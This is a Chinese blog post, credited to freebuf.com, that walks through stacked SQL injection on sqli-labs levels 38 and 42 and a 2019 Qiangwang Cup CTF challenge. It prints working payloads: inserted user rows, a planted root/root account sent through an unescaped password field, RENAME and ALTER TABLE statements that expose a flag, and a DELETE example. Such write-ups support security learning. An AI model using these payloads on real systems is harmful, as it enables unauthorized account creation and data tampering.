在BUUCTF上做了一道web题,涉及到了堆叠注入,就来学习一下。
在SQL语句中,语句的结束都是以`;`结尾,但是如果我们在`;`后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了
最简单的语句`select * from users;DELETE FROM test`
先查询user表,然后再从test数据库里删除user表。
下面我们进行实战
靶场:sql-libs38
先判断闭合点,为’
再构造payload:?id=1′ order by 4 %23
判断出列数为3列
第38关可以理解为盲注,第二条语句的对错不会给我们回显
好,我们先构造payload:`?id=-1′; insert into users(id,username,password) values(88,’aaa’,’bbb’)%23`
但是呢页面没有回显,我们去数据库看一下
最后一行,username:aaa,password:bbb已经成功插入进数据库
如果我们添加的是管理员的账号和密码,那又是什么样的结果。
这一关不明显,我们去试试第42关
sql-libs-42
因为刚刚已经插入进去了aaa,现在直接构造payload登录
①username:`aaa’;insert into users(id,username,password) values(60,’root’,’root’)#`
password:`bbb`
去查了数据库发现没有添加成功,但是语句没错,考虑对username进行了过滤或者其他防护措施。
②username:`aaa`
password:`bbb’;insert into users(id,username,password) values(60,’root’,’root’)#`
再试试对password进行堆叠
登陆成功
查看数据库
插入成功了
去看了一下42关的源码
“`
$username = mysqli_real_escape_string($con1, $_POST[“login_user”]);
$password = $_POST[“login_password”];
“`
对用户名进行了转义,但是password直接以post方式提交了,这就造成了堆叠注入。
再一某一例题
[强网杯 2019]随便注
在这里插入图片描述
先判断是否有注入点,试一下1′
注入点找到了
然后判断出列数
222222
再用1′ union select 1,database(); #出现了报错
select等字符被过滤了,正常注入不能用,报错注入也不行!
看了下大师傅的WP尝试用堆叠注入。
我们先构造payload:1′ ;show database; #
查看数据库
再次构造payload1′ ;show tables; #查看有几个表
只有两个表
从两个表里,我们再查询列
构造payload:0′; show columns from words ;#
没有找到我们要的flag
再构造payload:
0′;show columns from `1919810931114514`;#
先前忘了给字符加单引号,试了n次也没成功!到最后加字符才知道自己的无知太可怕,浪费了很多时间!!!
找到了flag的的列,下一步就是如何让他回显出来
上图,我们知道正则匹配过滤了很多字符,但是没有过滤alert和rename,这就可以来波骚姿势了
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
构造payload:
0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
应该成功了
emmmmm,用1′;show tables;#
修改成功了
访问0′ or ‘1’=’1
得到flag
堆叠注入的骚姿势。
来源:freebuf.com 2020-09-23 20:37:52 by: 吉吉国王乱杀
请登录后发表评论
注册